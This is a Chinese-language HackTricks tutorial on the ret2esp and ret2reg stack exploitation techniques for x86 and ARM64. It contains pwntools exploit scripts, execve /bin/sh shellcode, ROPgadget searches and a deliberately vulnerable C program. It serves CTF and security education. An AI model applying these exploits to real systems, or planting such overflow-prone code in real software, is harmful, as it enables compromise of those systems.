从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家) ! 支持HackTricks的其他方式:
如果您想看到您的公司在HackTricks中做广告 或下载PDF格式的HackTricks ,请查看订阅计划 !
Ret2esp
由于ESP(堆栈指针)始终指向堆栈的顶部 ,这种技术涉及将EIP(指令指针)替换为**jmp esp
或 call esp
**指令的地址。通过这样做,shellcode被放置在被覆盖的EIP之后。当ret
指令执行时,ESP指向下一个地址,恰好是shellcode存储的位置。
如果在Windows或Linux中未启用地址空间布局随机化(ASLR) ,则可以使用在共享库中找到的jmp esp
或call esp
指令。然而,如果ASLR 激活,可能需要在受影响的程序内部寻找这些指令(您可能需要击败PIE )。
此外,能够将shellcode放置在EIP损坏之后 ,而不是在堆栈中间,可以确保在函数运行过程中执行的任何push
或pop
指令不会干扰shellcode。如果shellcode放置在函数堆栈的中间,可能会发生这种干扰。
空间不足
如果在覆盖RIP后写入的空间不足(也许只有几个字节),可以编写一个初始的**jmp
** shellcode,例如:
并将shellcode提前放在堆栈中。
示例
您可以在https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp 中找到此技术的示例,最终利用如下:
复制 from pwn import *
elf = context . binary = ELF ( './vuln' )
p = process ()
jmp_rsp = next (elf. search ( asm ( 'jmp rsp' )))
payload = b 'A' * 120
payload += p64 (jmp_rsp)
payload += asm ( '''
sub rsp, 10;
jmp rsp;
''' )
pause ()
p . sendlineafter ( 'RSP!\n' , payload)
p . interactive ()
你可以在https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html 中看到这种技术的另一个示例。这里存在一个未启用NX的缓冲区溢出,使用了一个小工具来减少 $esp
的地址 ,然后使用jmp esp;
跳转到shellcode:
复制 # From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *
# Establish the target process
target = process ( './b0verflow' )
#gdb.attach(target, gdbscript = 'b *0x080485a0')
# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
# Establish our rop gadgets
# 0x08048504 : jmp esp
jmpEsp = p32 ( 0x 08048504 )
# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32 ( 0x 80484fd )
# Make the payload
payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1" * ( 0x 20 - len (shellcode) ) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget
# Send our payload
target . sendline (payload)
# Drop to an interactive shell
target . interactive ()
Ret2reg
类似地,如果我们知道一个函数返回存储shellcode的地址,我们可以利用**call eax
或 jmp eax
指令(称为 ret2eax技术),提供另一种执行我们的shellcode的方法。就像eax一样,包含有趣地址的 任何其他寄存器**都可以被使用(ret2reg )。
示例
您可以在这里找到一些示例:
**strcpy
将存储在 eax
中shellcode所在的缓冲区的地址,而 eax
**没有被覆盖,因此可以使用ret2eax
。
ARM64
Ret2sp
在ARM64中,没有 允许跳转到SP寄存器 的指令。可能会找到一个将sp移动到寄存器然后跳转到该寄存器 的gadget,但在我的kali libc中找不到类似的gadget:
复制 for i in ` seq 1 30 ` ; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)" ;
done
我发现的唯一方法是更改在跳转到它之前复制sp的寄存器的值(因此它将变得无用):
Ret2reg
如果一个寄存器有一个有趣的地址,只需找到适当的指令就可以跳转到它。您可以使用类似以下的内容:
复制 ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?" ;
在ARM64中,是**x0
**存储函数的返回值,因此可能是x0存储用户控制的缓冲区地址,其中包含用于执行的shellcode。
示例代码:
复制 // clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
#include <stdio.h>
#include <string.h>
void do_stuff ( int do_arg){
if (do_arg == 1 )
__asm__ ( " br x0 " ) ;
return ;
}
char* vulnerable_function () {
char buffer[ 64 ];
fgets(buffer , sizeof (buffer) * 3 , stdin) ;
return buffer;
}
int main ( int argc , char ** argv) {
char* b = vulnerable_function() ;
do_stuff( 2 )
return 0 ;
}
检查函数的反汇编代码,可以看到缓冲区的地址 (容易受到缓冲区溢出攻击,由用户控制 )在从缓冲区溢出返回之前被存储在 x0
中:
在**do_stuff
函数中也可以找到 br x0
**这个特殊指令:
我们将使用该特殊指令进行跳转,因为二进制文件是没有启用 PIE 编译 的。通过模式匹配,可以看到缓冲区溢出的偏移量为 80 ,因此利用将是:
复制 from pwn import *
p = process ( './ret2x0' )
elf = context . binary = ELF ( './ret2x0' )
stack_offset = 72
shellcode = asm (shellcraft. sh ())
br_x0 = p64 ( 0x 4006a0 ) # Addr of: br x0;
payload = shellcode + b "A" * (stack_offset - len (shellcode) ) + br_x0
p . sendline (payload)
p . interactive ()
如果使用的是read
而不是fgets
,也可以通过仅覆盖返回地址的最后2个字节 来绕过PIE,返回到br x0;
指令,而无需知道完整地址。
使用fgets
不起作用,因为它在末尾添加了一个空字节(0x00) 。
保护措施
NX : 如果堆栈不可执行,这不会有帮助,因为我们需要将 shellcode 放在堆栈中并跳转执行它。
ASLR & PIE : 这些保护措施可以使查找跳转到 esp 或任何其他寄存器的指令变得更加困难。
参考资料
从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家) ! 支持 HackTricks 的其他方式:
如果您想看到您的公司在 HackTricks 中做广告 或下载 PDF 版本的 HackTricks ,请查看订阅计划 !